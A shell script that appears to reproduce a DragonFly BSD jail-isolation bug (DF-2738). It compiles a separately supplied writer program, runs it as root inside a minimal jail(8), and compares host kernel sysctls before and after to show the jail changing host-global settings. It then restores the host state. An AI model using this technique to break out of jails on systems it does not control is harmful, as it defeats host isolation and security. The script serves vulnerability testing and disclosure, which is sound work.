#!/bin/sh
# DF-2738 run (needs real root on the DragonFly guest):
#  1. build static writer          (build.sh)
#  2. make a minimal jail root with just the static binary
#  3. record host state, run writer INSIDE jail(8), record host state
#  4. restore host state
# Expected (vulnerable kernel): 4x "WROTE-HOST-GLOBAL", host kern.sugid_coredump 0->1
set -e
cc -static -o /tmp/jailwrite /tmp/jailwrite.c
mkdir -p /tmp/jt /tmp/jt/usr/libexec
cp /tmp/jailwrite /tmp/jt/jailwrite
echo "=== HOST BEFORE ==="
sysctl -n kern.sugid_coredump kern.maxfiles kern.securelevel
echo "=== JAIL (uid-0 inside, legacy jail(8)) ==="
jail /tmp/jt jtest-DF2738 127.0.0.1 /jailwrite
echo "=== HOST AFTER ==="
sysctl -n kern.sugid_coredump kern.maxfiles kern.securelevel
echo "=== RESTORE ==="
sysctl -w kern.sugid_coredump=0 >/dev/null
rm -rf /tmp/jt
sysctl -n kern.sugid_coredump
echo DONE